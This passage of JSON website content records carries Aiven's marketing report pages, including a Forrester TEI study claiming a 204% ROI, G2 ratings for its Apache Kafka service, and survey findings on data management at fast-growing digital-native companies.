Plattform","ytId":"biMcItwZghE"},"publishedAt":"2023-11-21T10:37:50.892Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d97d2f74-64a4-4256-9e78-86aaa00bf323","_type":"reference"},"tags":[{"_key":"6d74e1b089bc","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"3fc3e2ab5353","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"},{"_key":"85425c46443c","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Entdecken Sie optimierte Abläufe und erhebliche Einsparungen mit Aiven. Forrester TEI-Studie zeigt die transformative Wirkung für Technologieanbieter.","metaImage":{"_type":"mainImage","alt":"Forrester TEI Report","asset":{"_ref":"image-2c346f1e1f5705c347ae73a85dec36da72aec3d8-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven-Plattform: Maximierter 204% ROI - Forrester TEI Studie "},"slug":{"_type":"slug","current":"/report/the-total-economic-impact-of-the-aiven-platform"}} {"__i18n_base":{"_ref":"a988347e-78a9-4d62-93df-2e7d9d398191","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2023-11-14T12:14:00Z","_id":"a988347e-78a9-4d62-93df-2e7d9d398191__i18n_fr","_rev":"7ECGUAuPhsugSh811UYCtC","_type":"report","_updatedAt":"2024-02-29T15:33:34Z","asset":{"_type":"gatedAndUngated","contentIsGated":true,"downloadLink":"https://go.aiven.io/aiven-data-infra-research-2023","downloadText":"Download the full report","hasVideo":false,"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-02-23/tmk6b","title":"Obtenez votre exemplaire gratuit de l'étude"},"registrationType":"iframe","subtitle":[{"_key":"9d49204d0411","_type":"block","children":[{"_key":"4873f48ffd8c0","_type":"span","marks":["strong"],"text":"Découvrez les économies et les avantages commerciaux anticipés."}],"markDefs":[],"style":"normal"},{"_key":"f557889bf4d5","_type":"block","children":[{"_key":"9e24fd5174a10","_type":"span","marks":[],"text":"Vous recherchez une solution prête à l’emploi pour l’installation et la gestion de vos multiples technologies de données cloud open source?"}],"markDefs":[],"style":"normal"},{"_key":"8d630703820e","_type":"block","children":[{"_key":"63c7aad7b7d5","_type":"span","marks":[],"text":"D’après une enquête menée auprès d’une organisation composite qui utilise la plateforme Aiven, cette dernière a permis de réaliser un "},{"_key":"f32ec1eca01b","_type":"span","marks":["strong"],"text":"retour sur investissement de 204% sur trois"},{"_key":"6457809ddb14","_type":"span","marks":[],"text":" ans avec un amortissement en moins de 6 mois et "},{"_key":"8ef116278df6","_type":"span","marks":["strong"],"text":"une économie de 8,05 millions de dollars au total"},{"_key":"54a48f1a482b","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"},{"_key":"09e54cba89a7","_type":"block","children":[{"_key":"a74aae320cd30","_type":"span","marks":[],"text":"Découvrez comment la plateforme Aiven a permis à l’organisation composite d'obtenir des avantages financiers immédiats et d'améliorer l'efficacité des ressources, notamment:"}],"markDefs":[],"style":"normal"},{"_key":"bc8a37c1b28a","_type":"block","children":[{"_key":"babab9dfd865","_type":"span","marks":["strong"],"text":"20% d’économies"},{"_key":"34c537915773","_type":"span","marks":[],"text":" en moyenne sur l’infrastructure cloud"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"46834addf0c9","_type":"block","children":[{"_key":"ece65be13f28","_type":"span","marks":["strong"],"text":"15% d’économies"},{"_key":"df792adfaf6b","_type":"span","marks":[],"text":" grâce à une meilleure gestion du calcul"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9305c315733a","_type":"block","children":[{"_key":"8ea012f1da99","_type":"span","marks":["strong"],"text":"Valeur actuelle nette de 5,4 millions de dollars "},{"_key":"ae6d623b1141","_type":"span","marks":[],"text":"sur 3 ans"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Découvrez des opérations rationalisées et des économies substantielles grâce à Aiven. Le rapport TEI de Forrester révèle l'impact transformateur pour les fournisseurs de technologie.","thankyouContent":[{"_key":"c7ad9e158779","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-c823f70cca4787f937727c783cc1a9743be498c6-1200x630-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/forrester-tei-report-fr","title":"Télécharger le rapport"},"roundedCorners":"rounded-none","text":[{"_key":"d2b0c446f4ee","_type":"block","children":[{"_key":"a37c8469f8dd","_type":"span","marks":[],"text":"Bonne lecture de la "},{"_key":"2fa4d85a74dc","_type":"span","marks":["strong"],"text":"Total Economic Impact™ de la plateforme Aiven"}],"markDefs":[],"style":"normal"}],"title":"Merci de votre intérêt","variant":"mediaRight"}],"title":"Total Economic Impact™ de la plateforme Aiven","ytId":"biMcItwZghE"},"publishedAt":"2023-11-21T10:37:50.892Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d97d2f74-64a4-4256-9e78-86aaa00bf323","_type":"reference"},"tags":[{"_key":"6d74e1b089bc","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"3fc3e2ab5353","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"},{"_key":"85425c46443c","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Rationalisez votre stratégie open source et réalisez économies significatives grâce à Aiven. L’étude TEI de Forrester révèle l’impact transformateur pour les fournisseurs de technologie.","metaImage":{"_type":"mainImage","alt":"Forrester TEI Report","asset":{"_ref":"image-c823f70cca4787f937727c783cc1a9743be498c6-1200x630-jpg","_type":"reference"}},"metaTitle":"Plateforme Aiven: Un retour sur investissement de 204% - Étude TEI par Forrester Research"},"slug":{"_type":"slug","current":"/report/the-total-economic-impact-of-the-aiven-platform"}} {"__i18n_lang":"en","_createdAt":"2023-11-13T09:44:09Z","_id":"cc4f0933-3886-4d61-9088-1fff64981736","_rev":"BVM0UzymoPXcfHGeYgpQlJ","_type":"report","_updatedAt":"2024-08-08T12:56:57Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"894b606e4169","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"3b434a08926a","_type":"numberItem","description":[{"_key":"90474bae3a18","_type":"block","children":[{"_key":"0cc21e0193e9","_type":"span","marks":[],"text":"Satisfaction rate"}],"markDefs":[],"style":"normal"}],"number":"98%"},{"_key":"342625a6312e","_type":"numberItem","description":[{"_key":"58bb95b5bec5","_type":"block","children":[{"_key":"82f63d2ba5a7","_type":"span","marks":[],"text":"Average # months to go live"}],"markDefs":[],"style":"normal"}],"number":"2.14"},{"_key":"c2fabd0fb3a5","_type":"numberItem","description":[{"_key":"d9e975abe01c","_type":"block","children":[{"_key":"850a73a0f44b","_type":"span","marks":[],"text":"Likelihood to recommend"}],"markDefs":[],"style":"normal"}],"number":"88%"}],"roundedCorners":"rounded-none","title":"Trusted by industry leaders"}],"contentIsGated":false,"downloadLink":"https://go.aiven.io/G2-Apache-Kafka-report","downloadText":"Download the full report","hasVideo":false,"image":{"_type":"mainImage","alt":"Aiven for Apache Kafka: G2 insights, analysis \u0026 customer testimonials","asset":{"_ref":"image-43f8d719c7340d2b66c5c5a3293efb65402d9232-2500x2500-png","_type":"reference"}},"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2023-11-13/t9z64","title":"Get your free copy of the report "},"registrationType":"iframe","subtitle":[{"_key":"adaea3e204ac","_type":"block","children":[{"_key":"4bb4b5d63e28","_type":"span","marks":[],"text":"See how real users rate the top vendors so you can make a more informed decision for your data streaming and event-driven architecture solutions. Uncover trends, benchmarks, and product insights to streamline your decision-making process. "}],"markDefs":[],"style":"normal"},{"_key":"23759f67ced8","_type":"block","children":[{"_key":"c412b2f9870c0","_type":"span","marks":["strong"],"text":"Aiven for Apache Kafka® leads with an impressive 71% Momentum score and more:"}],"markDefs":[],"style":"normal"},{"_key":"d78617b68014","_type":"block","children":[{"_key":"de55eefab8e40","_type":"span","marks":[],"text":"98% satisfaction – the highest of all streaming services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"06281b3b9192","_type":"block","children":[{"_key":"a9f625bac1240","_type":"span","marks":[],"text":"88% of reviewers would recommend Aiven for Apache Kafka®"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e36203edbbb0","_type":"block","children":[{"_key":"df2410f4de7b0","_type":"span","marks":[],"text":"2.14 months on average to go live"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"430d8b29a566","_type":"block","children":[{"_key":"d7d7474e7ee0","_type":"span","marks":[],"text":"Ready to enhance your real-time data experience? Download the report now for a clear industry perspective."}],"markDefs":[],"style":"normal"}],"summary":"Explore trends and insights in the \"Aiven for Apache Kafka®:\nG2 insights, analysis \u0026 customer testimonials\" report – download now!","thankyouContent":[{"_key":"db4a0d4afe33","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-87d2c32997f27943bfd9966501134b753ac7fb01-2500x1313-jpg","_type":"reference"}},"imagePosition":"center","mediaWidth":"w-full","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/G2-momentum-grid-report","title":"Download report"},"roundedCorners":"rounded-none","text":[{"_key":"3a4c8fea4e1c","_type":"block","children":[{"_key":"ce291b3fe9fd","_type":"span","marks":[],"text":"Enjoy the read of the "},{"_key":"f5a6d3fc6f4c","_type":"span","marks":["strong"],"text":"G2 Momentum Grid® report for event stream processing"},{"_key":"2f8e0b10056e","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"}],"title":"Thank you for your interest","topOverlap":false,"variant":"mediaRight"}],"title":"Discover why customers love Aiven for Apache Kafka®!","ytId":"biMcItwZghE"},"publishedAt":"2024-06-14T09:16:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d97d2f74-64a4-4256-9e78-86aaa00bf323","_type":"reference"},"tags":[{"_key":"6d74e1b089bc","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"c46c40869436","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"305324971279","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Access real-time data insights with the G2 report for Aiven for Apache Kafka®. Download now for a comprehensive industry perspective.","metaImage":{"_type":"mainImage","alt":"G2 Report Aiven for Apache Kafka","asset":{"_ref":"image-db7ae2e8e742ccb45931397d4a26df0ff239d922-1200x630-png","_type":"reference"}},"metaTitle":"Aiven for Apache Kafka®: G2 insights \u0026 customer testimonials"},"slug":{"_type":"slug","current":"/report/aiven-for-apache-kafka-g2-report"}} {"__i18n_lang":"en","_createdAt":"2023-01-18T14:31:56Z","_id":"573ae1a4-3e14-4eb7-9980-f9cb00979ed5","_rev":"exgZYl4YMpSEzTrzy1ddM0","_type":"report","_updatedAt":"2024-10-22T08:15:09Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"85f8f060ef116a9960792d05e5d799ef","_type":"scrollSpyNavigation","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"items":[{"_key":"b9844d9b6e5d","_type":"scrollSpyNavItem","sectionId":"1-prefer-fully-managed-services","title":"Key findings"},{"_key":"5070412dae1b3bfe6a69b622beb56b3d","_type":"scrollSpyNavItem","sectionId":"fireside","title":"Video report"},{"_key":"3e658fb765b7","_type":"scrollSpyNavItem","sectionId":"summary","title":"Summary"},{"_key":"730b0c469185","_type":"scrollSpyNavItem","sectionId":"methodology","title":"Methodology"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-98d2d896429220489f5543acd93a05c652dc9188-1216x1216-png","_type":"reference"}},"logoLink":{"_type":"link","title":"Report"},"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/aiven-data-infra-research-2023","title":"Download the full report"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/report/2023-state-of-data-management-solutions-for-digital-natives#fireside","title":"Watch it on video"},"title":"Scrollspy nav"},{"_key":"2a503be88b93","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"id":"1-prefer-fully-managed-services","image":{"_type":"mainImage","asset":{"_ref":"image-9db936f4a0a71294bc6092790b47ac8763529c2a-2000x757-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"1","text":[{"_key":"df0a2072bf69","_type":"block","children":[{"_key":"3968583541e50","_type":"span","marks":[],"text":"Companies that opt for a more conservative growth rate show a preference towards self-managed solutions. Faster growing companies are, on average, 16% more likely to use a fully-managed service. Spending less time on managing their database instances themselves allows companies to focus on other parts of their businesses that help them scale stably, at speed.\n\n71% of tech leaders in businesses with a fast-growth philosophy opt to embrace fully managed services for search technology in some capacity, while only 29% choose to exclusively self manage."}],"markDefs":[],"style":"normal"}],"title":"Faster growing companies prefer fully managed services","variant":"mediaCenter"},{"_key":"17928fc95f0a794fd32516991381269f","_type":"socialMediaShare","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disableEmailShare":true,"disableFacebookShare":true,"disableLinkedinShare":false,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"shareTitle":"Less time self-managing database instances can help you focus on other parts of your business to help you scale stably, at speed. For this and other findings, check out our full report","shareUrl":"https://aiven.io/report/2023-state-of-data-management-solutions-for-digital-natives#1-prefer-fully-managed-services"},{"_key":"672a3dac62c04edcc4a95ccb0d1d3245","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"id":"2-adopting-open-source-search","image":{"_type":"mainImage","asset":{"_ref":"image-6a6c357e5b3e8cf15655404f3cc3a78c7ff085b7-2000x829-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"2","text":[{"_key":"f7aae1bc3b35","_type":"block","children":[{"_key":"ef84018ceb560","_type":"span","marks":[],"text":"Companies with fast growth rates are more likely to adopt open source search technology, with OpenSearch emerging as the most popular among them. They are highly focused on search technology and event streaming / message queue systems.\n\nWith adoption rates double that of their next closest competitors, Microsoft Azure Search and Amazon CloudSearch dominate the search engine rankings for companies following conservative growth patterns. However, these two commercial tools see high levels of competition from their open source alternatives among respondents working for companies with a fast-growth mindset."}],"markDefs":[],"style":"normal"}],"title":"Faster growing companies adopt open source search technology","variant":"mediaCenter"},{"_key":"e824437f66dacdef45421bcba794276f","_type":"socialMediaShare","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disableEmailShare":true,"disableFacebookShare":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"shareTitle":"Companies with fast growth rates are more likely to adopt open source search tech, with OpenSearch emerging as the most popular. For this and other findings, check out our full report","shareUrl":"https://aiven.io/report/2023-state-of-data-management-solutions-for-digital-natives#2-adopting-open-source-search"},{"_key":"d6e03ff68e7d92d0ff5dcff634faaeaa","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"id":"3-service-availability-and-disaster-recovery-are-important","image":{"_type":"mainImage","asset":{"_ref":"image-ef68f6a7bf1b2731cde286cabca535a64c52dfe2-2000x829-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"3","text":[{"_key":"b2855991f9a6","_type":"block","children":[{"_key":"3545a5a016560","_type":"span","marks":[],"text":"Moving fast and exploring new ideas comes hand in hand with an increased risk of things going wrong. 43% of tech leaders in faster-growing companies consider service availability and disaster recovery capabilities to be of critical importance when it comes to adopting a data management tool.\n\nOnly 27% of companies embracing a slower growth rate have mentioned this feature as a main reason for considering a replacement data management tool in the past, as they more risk averse."}],"markDefs":[],"style":"normal"}],"title":"Service availability and disaster recovery are important for a fast response","variant":"mediaCenter"},{"_key":"f06ec2cd5f95bd4735ea4111b9166bc4","_type":"socialMediaShare","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disableEmailShare":true,"disableFacebookShare":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"shareTitle":"Moving fast means risk. 43% of tech leaders in fast-growing companies find disaster recovery capability critical for data management tooling. For this and other findings, check out our report","shareUrl":"https://aiven.io/report/2023-state-of-data-management-solutions-for-digital-natives#3-service-availability-and-disaster-recovery-are-important"},{"_key":"7ca1565782633b8750dfbeab12cbed34","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"id":"4-embrace-open-source-data-management","image":{"_type":"mainImage","asset":{"_ref":"image-6aca6ac396f8c6def06ee9c7145882fe67d70682-2000x829-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"4","text":[{"_key":"e8829373d4ae","_type":"block","children":[{"_key":"dad1fb4ba84c0","_type":"span","marks":[],"text":"Even today, companies with an eye to fast growth are more likely to adopt open source data management products than their conservative-growth counterparts–this is what the report tells us. Companies with a conservative growth approach, however, are more concerned with the "},{"_key":"6f48addb1c25","_type":"span","marks":["em"],"text":"scalability"},{"_key":"75305e3a4a25","_type":"span","marks":[],"text":" of such products.\n\nThis contrast in priorities also applies to future decisions these companies make. Our data suggests that faster growing companies are very likely to place an even higher value on open source technologies when selecting a DBaaS vendor in the future."}],"markDefs":[],"style":"normal"}],"title":"Faster growing companies embrace open source data management technologies","variant":"mediaCenter"},{"_key":"1e021fa55516e14509efce9340f054d7","_type":"socialMediaShare","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disableEmailShare":true,"disableFacebookShare":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"shareTitle":"Data suggests fast-growing companies are set to place increasing value on open source technology when selecting DBaaS vendors in future. For this and other findings, check out our full report","shareUrl":"https://aiven.io/report/2023-state-of-data-management-solutions-for-digital-natives#4-embrace-open-source-data-management"},{"_key":"1d853d7fe74f86125ba9aa27c3270b8a","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ed9b382d12a7601671d00664e9a930203b8d4922-650x356-png","_type":"reference"}},"infoBanner":{"_ref":"ddf2f372-2ced-4ef7-8930-dcd0b7280c0e","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"vertical"},{"_key":"dc39e4fcd2435c6a8d96824e9a4203d6","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"id":"5-price-is-the-dominant-reason","image":{"_type":"mainImage","asset":{"_ref":"image-b655bbdc635c7a6dcf49f58a3c6faede36e61de3-2000x913-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"5","text":[{"_key":"583dc3c8aec8","_type":"block","children":[{"_key":"879c57680c4d0","_type":"span","marks":[],"text":"Data model suitability may come out on top when it comes to choosing a new data management tool, but when tech leaders pass a tool by–or decide to move on from the tool they’re using–it is often to do with price.\n\n28% of respondents reported pricing as one of the main reasons for their decision to switch to a different product, while only 21% did so due to suitability issues. While a given product may be highly suitable and have good integrations with other systems, it may not be a feasible choice for those with limited budgets.\n\nThis is particularly the case for small businesses with up to 200 employees, 34% of whom mention pricing as one of their top deciding factors in data management solution questions. On the other hand, large enterprises care most about receiving high quality technical support."}],"markDefs":[],"style":"normal"}],"title":"Price is the dominant reason for switching to an alternative solution","variant":"mediaCenter"},{"_key":"3ebbf4d325df0a6af80ccc176af527bd","_type":"socialMediaShare","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disableEmailShare":true,"disableFacebookShare":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"shareTitle":"When tech leaders pass a data management tool by–or decide to move on from the tool they’re using–it is often to do with price. For this and other findings, check out our full report","shareUrl":"https://aiven.io/report/2023-state-of-data-management-solutions-for-digital-natives#5-price-is-the-dominant-reason"},{"_key":"1ca76151c5d231abe85ad6ca1549b4a9","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"id":"6-adopting-new-data-management-systems","image":{"_type":"mainImage","asset":{"_ref":"image-00cabc046d2418404586c54c1c0f6d783502fbcd-2000x829-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"6","text":[{"_key":"27d5d6e35c65","_type":"block","children":[{"_key":"81849a58504a0","_type":"span","marks":[],"text":"Data infrastructure professionals at digital native companies use a large variety of data management system types simultaneously–six on average–to optimize their business operations. This is already the case "},{"_key":"dd14cca7eb55","_type":"span","marks":["em"],"text":"today"},{"_key":"e15e7aa54f7c","_type":"span","marks":[],"text":".\n\nThis trend is set to continue, with 56% of our report’s respondents looking to adopt at least one new data management system type in the near future. A deeper dive reveals that those who work for faster growing companies are 20% more likely to do so than those who work for companies with conservative growth rates."}],"markDefs":[],"style":"normal"}],"title":"Digital native companies are adopting new data management systems","variant":"mediaCenter"},{"_key":"dba62422b78f87da9b92d56889ae98a4","_type":"socialMediaShare","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disableEmailShare":true,"disableFacebookShare":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"shareTitle":"Many companies use a variety of data management system types at once, and this trend is set to continue in the near future. For this and other findings, check out our full report","shareUrl":"https://aiven.io/report/2023-state-of-data-management-solutions-for-digital-natives#6-adopting-new-data-management-systems"},{"_key":"95e7be9e1c0755a13aecbd868e29079b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"id":"7-event-streaming-second-most-popular","image":{"_type":"mainImage","asset":{"_ref":"image-46b2e3e99593c9eb11acf6711852dd8e0f5732a3-2000x829-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"7","text":[{"_key":"a5fb8f2b596e","_type":"block","children":[{"_key":"68d9e6217a6b0","_type":"span","marks":[],"text":"Relational databases have taken a clear lead in adoption over other data management systems, and this is unlikely to change in the near future. However, with the continuous digitization of our everyday lives and increased reliance on artificial intelligence, the demand for streaming data has never been higher.\n\nIn turn, businesses are looking to implement processes that can take advantage of this shift. This is reflected in our data, as event streaming and message queues are on track to become the second most popular data management system type among digital native companies."}],"markDefs":[],"style":"normal"}],"title":"Event streaming is on its way to becoming the 2nd most popular data management system type","variant":"mediaCenter"},{"_key":"f61204113336e21a1840b77e7800b15d","_type":"socialMediaShare","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disableEmailShare":true,"disableFacebookShare":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"shareTitle":"With the ongoing digitization of our everyday lives, demand for streaming data has never been higher. For this and other findings, check out our full report","shareUrl":"https://aiven.io/report/2023-state-of-data-management-solutions-for-digital-natives#7-event-streaming-second-most-popular"},{"_key":"ff9f3a87322fe596374e14d9191b5a85","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"id":"8-sustainability","image":{"_type":"mainImage","asset":{"_ref":"image-65d0d1805fb62427da622ddf2d0496ce9f158602-2000x829-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"8","text":[{"_key":"4efe95bbf49c","_type":"block","children":[{"_key":"bb5ba3068c990","_type":"span","marks":[],"text":"Carbon negativity and sustainable technological advancements are coming. A lot of them are already here, but in the coming years they will become of even more critical importance. Our report’s findings bear this out: we all know this is important. And tech leaders are thinking about it more and more.\n\nDigital native companies have proven more willing to prioritize the reduction of their environmental footprint over optimizing costs when selecting a DBaaS vendor in the future, to ensure that their actions help protect the environment."}],"markDefs":[],"style":"normal"}],"title":"Sustainability’s rising importance in DBaaS vendor selection","variant":"mediaCenter"},{"_key":"b9b56f3854c680723020fb10c0f4857c","_type":"socialMediaShare","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disableEmailShare":true,"disableFacebookShare":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"shareTitle":"Sustainable tech is coming. A lot is already here, but it will soon be of critical importance. And tech leaders know it. For this and other findings, check out our full report","shareUrl":"https://aiven.io/report/2023-state-of-data-management-solutions-for-digital-natives#8-sustainability"},{"_key":"5e7de92e2c3e84daa0bc7853bd13f17c","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"id":"fireside","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"tagline":"Fireside chat","text":[{"_key":"9b5f6b01c1c0","_type":"block","children":[{"_key":"25715f93124d0","_type":"span","marks":[],"text":"Watch our fireside chat for key insights on data management for digital natives. Explore sustainability, pricing, open source, and scaling. Presented by SlashData and Aiven, featuring OVHcloud and Developer Nation support."}],"markDefs":[],"style":"normal"}],"title":"Best practices, decision drivers and the future of data management solutions","variant":"mediaLeft","ytId":"biMcItwZghE"},{"_key":"4045bc795d54","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"id":"summary","image":{"_type":"mainImage","asset":{"_ref":"image-98d2d896429220489f5543acd93a05c652dc9188-1216x1216-png","_type":"reference"}},"imagePosition":"center","narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://calendly.com/intro-to-aiven/demo-aiven-platform-for-fast-growing-companies?month=2023-01 ","title":"Talk to Aiven"},"rounded":false,"text":[{"_key":"f4c1dd66c722","_type":"block","children":[{"_key":"0f75a19fab280","_type":"span","marks":[],"text":"Here at Aiven, we pride ourselves as a provider of fully managed open source data management solutions. When we commissioned the creation of this report, we came in with our own thoughts and assumptions on what the results would show, based on insights from discussions with our customers. Many of those assumptions were proven — but there were also surprises along the way.\n\nThe key take-away for us is that more than ever we need to continue educating the market on the benefits of open source.\n\nWe were also happy to confirm our experience that the usage of managed services by digital native companies in the data management space is increasing. And that makes sense. When you’re growing and changing fast, you don’t want to be bothered with low-value tasks. You want to focus on things that really move the needle.\n\nIf you want to discuss the ways Aiven can help you with your data infrastructure needs, feel free to book a chat with our experts!"}],"markDefs":[],"style":"normal"}],"title":"So what does this mean? A crab’s-eye view on the report","variant":"mediaRight"},{"_key":"413dcb793a26","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","darkTheme":false,"disabled":true,"fullWidth":false,"headerPosition":"default","id":"subscribe","iframeHeight":100,"iframeSource":"https://go.aiven.io/l/890043/2023-01-30/rqfk8","iframeTitle":"Newsletter subscription","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"newsletter","roundedCorners":"rounded","subtitle":[{"_key":"b4901bd18a2d","_type":"block","children":[{"_key":"cae003f0cb180","_type":"span","marks":[],"text":"Get more related content (we've got blog posts, more analysis, webinars...)"}],"markDefs":[],"style":"normal"}],"title":"Did you find this report interesting?"},{"_key":"94aa02ae4656","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"id":"methodology","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","subtitle":[{"_key":"4dadb7fd7128","_type":"block","children":[{"_key":"a65e7f817dec0","_type":"span","marks":[],"text":"The findings of this report are based on data collected from an online survey designed, produced, and carried out by SlashData, which reached 